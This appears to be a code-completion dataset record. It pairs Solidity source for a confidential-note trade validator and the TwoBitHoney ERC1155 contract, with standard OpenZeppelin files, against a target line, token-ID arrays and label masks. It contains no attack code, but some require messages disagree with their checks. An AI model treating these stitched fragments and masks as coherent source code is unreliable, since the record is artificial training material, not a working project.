ace.validateProofByHash(JOIN_SPLIT_PROOF, proofHash, _signer); } function extractFirstProofOutput( bytes memory _proofData, address _transferer ) public returns ( bytes memory _inputNotes, bytes memory _outputNotes, address _owner, int256 _publicValue, bytes32 _proofHash ) { (bytes memory proofOutput, bytes32 proofHash) = validateAndGetFirstProofOutput(_proofData, _transferer); (bytes memory inputNotes, bytes memory outputNotes, address owner, int256 publicValue) = proofOutput.extractProofOutput(); return (inputNotes, outputNotes, owner, publicValue, proofHash); } function extractAndVerifyNoteHashes( bytes memory _proofOutput, address _transferer ) public view returns (bytes32, bytes32) { bytes memory formattedProofOutput = ParamUtils.sliceBytes(_proofOutput, 32, _proofOutput.length); bytes32 proofHash = keccak256(formattedProofOutput); require( ace.validateProofByHash( JOIN_SPLIT_PROOF, proofHash, _transferer ), "proof output is invalid" ); (bytes memory inputNotes, bytes memory outputNotes, ,) = formattedProofOutput.extractProofOutput(); require( inputNotes.getLength() >= 1, "Number of seller input notes is different than 1" ); require( outputNotes.getLength() >= 2, "Number of seller output notes is different than 2" ); (,bytes32 inputNoteHash,) = inputNotes.get(0).extractNote(); (,bytes32 outputNoteHash,) = outputNotes.get(0).extractNote(); return (inputNoteHash, outputNoteHash); } function extractAllNoteHashes( bytes memory _sellerProofOutput, bytes memory _bidderProofOutput, address transferer ) public view returns (bytes32, bytes32, bytes32, bytes32) { (bytes32 sellerInputNoteHash, bytes32 bidderOutputNoteHash) = extractAndVerifyNoteHashes( _sellerProofOutput, transferer ); (bytes32 bidderInputNoteHash, bytes32 sellerOutputNoteHash) = extractAndVerifyNoteHashes( _bidderProofOutput, transferer ); return (sellerInputNoteHash, bidderOutputNoteHash, bidderInputNoteHash, sellerOutputNoteHash); } function extractAndHashTrade( bytes memory _sellerParams, bytes memory _bidderParams, bytes memory _sellerProofOutput, bytes memory _bidderProofOutput ) public view returns (bytes32) { address transferer = ParamUtils.getAddress(_sellerParams, 72); ( bytes32 sellerInputNoteHash, bytes32 bidderOutputNoteHash, bytes32 bidderInputNoteHash, bytes32 sellerOutputNoteHash ) = extractAllNoteHashes( _sellerProofOutput, _bidderProofOutput, transferer ); return hashTrade( _sellerParams, _bidderParams, sellerInputNoteHash, bidderOutputNoteHash, bidderInputNoteHash, sellerOutputNoteHash ); } // For testing only, for production we use extractAndHashTrade function extractAndHash( bytes memory _sellerParams, bytes memory _bidderParams, bytes memory _sellerProofOutput, bytes memory _bidderProofOutput ) public view returns (bytes32) { address transferer = ParamUtils.getAddress(_sellerParams, 72); ( bytes32 sellerInputNoteHash, bytes32 bidderOutputNoteHash, bytes32 bidderInputNoteHash, bytes32 sellerOutputNoteHash ) = extractAllNoteHashes( _sellerProofOutput, _bidderProofOutput, transferer ); return hashMessage( _sellerParams, _bidderParams, sellerInputNoteHash, bidderOutputNoteHash, bidderInputNoteHash, sellerOutputNoteHash ); } function verifyTrade( bytes memory _sellerParams, bytes memory _bidderParams, bytes memory _sellerProofOutput, bytes memory _bidderProofOutput ) public view returns (bool) { address recoveredSigner = extractAndRecover( _sellerParams, _bidderParams, _sellerProofOutput, _bidderProofOutput ); address bidderAddress = ParamUtils.getAddress(_bidderParams, 0); return bidderAddress == recoveredSigner; } function extractAndRecover( bytes memory _sellerParams, bytes memory _bidderParams, bytes memory _sellerProofOutput, bytes memory _bidderProofOutput ) public view returns (address) { bytes32 hash = extractAndHashTrade( _sellerParams, _bidderParams, _sellerProofOutput, _bidderProofOutput ); bytes32 sigR = ParamUtils.getBytes32(_bidderParams, 72); bytes32 sigS = ParamUtils.getBytes32(_bidderParams, 104); uint8 sigV = ParamUtils.getUint8(_bidderParams, 136); //address bidderAddress = ParamUtils.getAddress(_bidderParams, 0); return ecrecover(hash, sigV, sigR, sigS); } function getDomainSeparator() public view returns (bytes32 _domainSeparator) { return keccak256(abi.encodePacked( EIP712_DOMAIN_TYPEHASH, keccak256("Democracy.js Linked Trade Validator"), keccak256("1"), chainId, address(this), SALT )); } function hashMessage( bytes memory _sellerParams, bytes memory _bidderParams, bytes32 _sellerInputNoteHash, bytes32 _bidderOutputNoteHash, bytes32 _bidderInputNoteHash, bytes32 _sellerOutputNoteHash ) public view returns (bytes32) { address sellerAddress = ParamUtils.getAddress(_sellerParams, 0); address bidderAddress = ParamUtils.getAddress(_bidderParams, 0); address sellerTokenAddress = ParamUtils.getAddress(_sellerParams, 20); address bidderTokenAddress = ParamUtils.getAddress(_bidderParams, 20); // uint256's begin at the end and count back 32 bytes to 40 uint256 saleExpireBlockNumber = ParamUtils.getUint256(_sellerParams, 72); uint256 bidExpireBlockNumber = ParamUtils.getUint256(_bidderParams, 72); require( saleExpireBlockNumber > block.number, "Sale expiration block number should be in the future." ); require( bidExpireBlockNumber > block.number, "Bid expiration block number should be in the future." ); return keccak256(abi.encodePacked( TRADE_TYPEHASH, sellerAddress, bidderAddress, sellerTokenAddress, bidderTokenAddress, _sellerInputNoteHash, _bidderOutputNoteHash, _bidderInputNoteHash, _sellerOutputNoteHash, saleExpireBlockNumber, bidExpireBlockNumber )); } function hashTrade( bytes memory _bidderParams, bytes memory _sellerParams, bytes32 _sellerInputNoteHash, bytes32 _bidderOutputNoteHash, bytes32 _bidderInputNoteHash, bytes32 _sellerOutputNoteHash ) public view returns (bytes32) { return keccak256(abi.encodePacked( MAGIC_BYTES, getDomainSeparator(), hashMessage( _bidderParams, _sellerParams, _sellerInputNoteHash, _bidderOutputNoteHash, _bidderInputNoteHash, _sellerOutputNoteHash ) )); } function verifyTradeFromProofOutputs( bytes memory _sellerParams, bytes memory _bidderParams, bytes memory _sellerProofOutputs, bytes memory _bidderProofOutputs ) public view returns (bool) { bytes memory sellerProofOutput = TradeUtils.getFirstProofOutput(_sellerProofOutputs); bytes memory bidderProofOutput = TradeUtils.getFirstProofOutput(_bidderProofOutputs); // First check and fail early if trade is not valid return verifyTrade( _sellerParams, _bidderParams, sellerProofOutput, bidderProofOutput ); } function linkedTransfer( bytes memory _sellerParams, bytes memory _bidderParams, bytes memory _sellerProofOutputs, bytes memory _bidderProofOutputs, bytes memory _sellerSignatures, bytes memory _bidderSignatures, bytes memory _sellerProofData, bytes memory _bidderProofData ) public { bool isValid = verifyTradeFromProofOutputs( _sellerParams, _bidderParams, _sellerProofOutputs, _bidderProofOutputs ); require( isValid, "Invalid trade signature for bidder." ); address transferer = ParamUtils.getAddress(_sellerParams, 72); address sellerTokenAddress = ParamUtils.getAddress(_sellerParams, 20); address bidderTokenAddress = ParamUtils.getAddress(_bidderParams, 20); ZkAssetTradeable sellerToken = ZkAssetTradeable(sellerTokenAddress); ZkAssetTradeable bidderToken = ZkAssetTradeable(bidderTokenAddress); sellerToken.confidentialTrade( _sellerProofOutputs, _sellerSignatures, _sellerProofData, transferer ); bidderToken.confidentialTrade( _bidderProofOutputs, _bidderSignatures, _bidderProofData, transferer ); } }
address bidderAddress = ParamUtils.getAddress(_bidderParams, 0);
function extractAndRecover( bytes memory _sellerParams, bytes memory _bidderParams, bytes memory _sellerProofOutput, bytes memory _bidderProofOutput ) public view returns (address) { bytes32 hash = extractAndHashTrade( _sellerParams, _bidderParams, _sellerProofOutput, _bidderProofOutput ); bytes32 sigR = ParamUtils.getBytes32(_bidderParams, 72); bytes32 sigS = ParamUtils.getBytes32(_bidderParams, 104); uint8 sigV = ParamUtils.getUint8(_bidderParams, 136); return ecrecover(hash, sigV, sigR, sigS); }
12,792,069
[ 1, 2867, 9949, 765, 1887, 273, 3014, 1989, 18, 588, 1887, 24899, 19773, 765, 1370, 16, 374, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2608, 1876, 27622, 12, 203, 3639, 1731, 3778, 389, 1786, 749, 1370, 16, 203, 3639, 1731, 3778, 389, 19773, 765, 1370, 16, 203, 3639, 1731, 3778, 389, 1786, 749, 20439, 1447, 16, 203, 3639, 1731, 3778, 389, 19773, 765, 20439, 1447, 203, 565, 262, 1071, 1476, 1135, 261, 2867, 13, 288, 203, 203, 3639, 1731, 1578, 1651, 273, 2608, 1876, 2310, 22583, 12, 203, 5411, 389, 1786, 749, 1370, 16, 203, 5411, 389, 19773, 765, 1370, 16, 203, 5411, 389, 1786, 749, 20439, 1447, 16, 203, 5411, 389, 19773, 765, 20439, 1447, 203, 3639, 11272, 203, 203, 3639, 1731, 1578, 3553, 54, 273, 3014, 1989, 18, 588, 2160, 1578, 24899, 19773, 765, 1370, 16, 19387, 1769, 203, 3639, 1731, 1578, 3553, 55, 273, 3014, 1989, 18, 588, 2160, 1578, 24899, 19773, 765, 1370, 16, 21856, 1769, 203, 3639, 2254, 28, 3553, 58, 282, 273, 3014, 1989, 18, 588, 5487, 28, 24899, 19773, 765, 1370, 16, 404, 5718, 1769, 203, 203, 3639, 327, 425, 1793, 3165, 12, 2816, 16, 3553, 58, 16, 3553, 54, 16, 3553, 55, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "../utils/Bearable.sol"; import "../utils/TwoBitHoneyErrors.sol"; /// @title Honey Processor: Phase 1 contract TwoBitHoney is Bearable, ERC1155, Ownable { /* .:.. .=++=-::-++=. .*= .+* :#. :# %. =+ @ .# ==: %. -+ :=+===: +==#- -# %=++: -*- :+++= %: ++ ##- *- :+. :%: +* =* .#- .# -% *= :#: =*. =+ .=%=*+=- +*. -*- :*= ++. :*++*==%@*+#= .:-=++- =* .: :@@# #@@@=-@@@#+#@*=-:. =*.-.: =@@= @@@@ @@@+ -@@#: *= .@@% *@@@= -@@@- *@@+++ :+=====#@* +@@@* %@@% .@@@..@+ +*-%@@@+ #@@@: %@@+ +@@*- .+@@%: .#@@@: #@@* +@#=-- =+++@@@%..#@@#=*+: .-*#+: :-+*==**+=-. :+*+- .=**- .=**=. -*#+: :+*+: .=**: ** +* *+ +* *+ +* *+ +* *+ +* *+ +* *# ** -**=: .=**-. -+**#=: :=**- -+*+: .=**-. :+**- -**+:.=**-. -**+: -**=. .=+: -#*- :+#= +* =# +* =# +* =# +* =# +* =# +* =# =%-. -#* -+*+: .=**=. .: .=**=. -+*+: :+*+=**=. -*#+=#*=. .=*#=. :*#+: :- :+*+- :+**- =#=. -#+ *+ +* *+ +* *+ +* *+ +* *+ +* *+ +* -#+: :=#= .-+- .=**=. -**=: :+*+-.=**=. :+#+: :+**- .=**=. :+#+: .=****=. -+*+: .=**- +#. *# +* =# +* =# +* =# +* =# +* =# +* =# :+*+: .=**- .=**=. -+*+: :+*+: .=**-. .=**+: */ /// @dev Counter for total minted honey token uint256 private _totalSupply; /// @dev Address of the cubs contract, for burning address private _cubsContract; /// @dev Marks when drop of honey is complete (and there will be no more) bool private _honeyFrozen; /// Let's the world know whether the base URI has changed event SetBaseURI(string indexed _baseURI); /// Let OpenSea know that the uri is now frozen event PermanentURI(string _value, uint256 indexed _id); /// Creates a new instance of the TwoBitHoney contract, with the address of the TwoBitBears contract and a baseURI for metadata constructor(address twoBitBears, string memory baseURI) Bearable(twoBitBears) ERC1155(baseURI) { _totalSupply = 0; _honeyFrozen = false; } /// Sets the address of the TwoBitCubs contract, which will have rights to burn honey tokens function setCubsContractAddress(address cubsContract) external onlyOwner { _cubsContract = cubsContract; } /// Performs the burn of a single honey token on behalf of the TwoBitCubs contract /// @dev Throws if the msg.sender is not the configured TwoBitCubs contract function burnHoneyForAddress(address burnTokenAddress) external { if (msg.sender != _cubsContract) revert InvalidBurner(); _burn(burnTokenAddress, 0, 1); } /// Calculate the honey drop count for the specified owner /// @dev external read-only function to reduce gas cost of delivering the drop function calculateDrop(address owner) external view onlyOwner returns (uint256 bearsOwned, uint256 honeyCount) { uint256 browns; uint256 blacks; uint256 polars; uint256 pandas; bearsOwned = _twoBitBears.balanceOf(owner); for (uint256 index = 0; index < bearsOwned; index++) { uint256 tokenId = _twoBitBears.tokenOfOwnerByIndex(owner, index); BearSpeciesType species = bearSpecies(tokenId); if (species == IBearable.BearSpeciesType.Brown) { browns += 1; } else if (species == IBearable.BearSpeciesType.Black) { blacks += 1; } else if (species == IBearable.BearSpeciesType.Polar) { polars += 1; } else if (species == IBearable.BearSpeciesType.Panda) { pandas += 1; } } honeyCount = (browns >> 1) + (blacks >> 1) + (polars >> 1) + (pandas >> 1); } /// Performs the drop to TwoBitBear holders function dropHoney(address[] memory accounts, uint256[] memory amounts) public onlyOwner { if (accounts.length != amounts.length) revert MismatchedArraySizes(); if (_honeyFrozen) revert HoneyDropFrozen(); uint256 additionalSupply = 0; for (uint256 index = 0; index < accounts.length; index++) { uint256 amount = amounts[index]; _mint(accounts[index], 0, amount, ""); additionalSupply += amount; } _totalSupply += additionalSupply; } /// Freezes the metadata and any additional honey drops function freezeHoney() public onlyOwner { if (_honeyFrozen) revert HoneyDropFrozen(); _honeyFrozen = true; emit PermanentURI(uri(0), 0); } /// Returns the owner of the TwoBitBear specified by the bearTokenId function ownerOfBear(uint256 bearTokenId) external view onlyOwner returns (address owner) { owner = _twoBitBears.ownerOf(bearTokenId); } /// @dev Total amount of tokens in with a given id. function totalSupply(uint256 id) public view virtual returns (uint256) { if (id != 0) { return 0; } return _totalSupply; } /// @dev Indicates weither any token exist with a given id, or not. function exists(uint256 id) public view virtual returns (bool) { return totalSupply(id) > 0; } /// Updates the baseURI function updateBaseUri(string memory newuri) external onlyOwner { if (_honeyFrozen) revert HoneyDropFrozen(); _setURI(newuri); emit SetBaseURI(newuri); } /// @dev Reverts with `InvalidHoneyTypeId()` if the `typeId` is > 0 function uri(uint256 typeId) public view override returns (string memory) { if (typeId > 0) revert InvalidHoneyTypeId(); return super.uri(typeId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../interfaces/IBearable.sol"; import "../nfts/TwoBitBears.sol"; /// @title Bearable base contract for accessing a deployed TwoBitBears ERC721 /// @dev You may inherit or deploy separately contract Bearable is IBearable { /// @dev Stores the address to the deployed TwoBitBears contract TwoBitBears internal immutable _twoBitBears; /// Constructs a new instance of the Bearable contract /// @param twoBitBears The address of the twoBitBears contract on the deployment blockchain constructor(address twoBitBears) { _twoBitBears = TwoBitBears(twoBitBears); } /// @inheritdoc IBearable /// @dev Throws if the token ID is not valid. Requirements already handled by the .ownerOf() call function ownsBear(address possibleOwner, uint256 tokenId) public view override returns (bool) { return _twoBitBears.ownerOf(tokenId) == possibleOwner; } /// @inheritdoc IBearable function totalBears() public view override returns (uint256) { return _twoBitBears.totalSupply(); } /// @inheritdoc IBearable /// @dev Throws if the token ID is not valid. Requirements already handled by the .details() call function bearBottomColor(uint256 tokenId) public view override returns (ISVG.Color memory color) { IBearDetail.Detail memory details = _twoBitBears.details(tokenId); color.red = details.bottomColor.red; color.green = details.bottomColor.green; color.blue = details.bottomColor.blue; color.alpha = 0xFF; } /// @inheritdoc IBearable /// @dev Throws if the token ID is not valid. Requirements already handled by the .details() call function bearMood(uint256 tokenId) public view override returns (BearMoodType) { IBearDetail.Detail memory details = _twoBitBears.details(tokenId); return BearMoodType(details.moodIndex); } /// @inheritdoc IBearable /// @dev Throws if the token ID is not valid. Requirements already handled by the .details() call function bearSpecies(uint256 tokenId) public view override returns (BearSpeciesType) { IBearDetail.Detail memory details = _twoBitBears.details(tokenId); return BearSpeciesType(details.speciesIndex); } /// @inheritdoc IBearable /// @dev Throws if the token ID is not valid. Requirements already handled by the .details() call function bearTopColor(uint256 tokenId) public view override returns (ISVG.Color memory color) { IBearDetail.Detail memory details = _twoBitBears.details(tokenId); color.red = details.topColor.red; color.green = details.topColor.green; color.blue = details.topColor.blue; color.alpha = 0xFF; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /// @dev Honey drop is frozen error HoneyDropFrozen(); /// @dev When the burn requestor is invalid error InvalidBurner(); /// @dev When a tokenId > 0 is supplied error InvalidHoneyTypeId(); /// @dev When array parameters sizes don't match error MismatchedArraySizes(); // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in 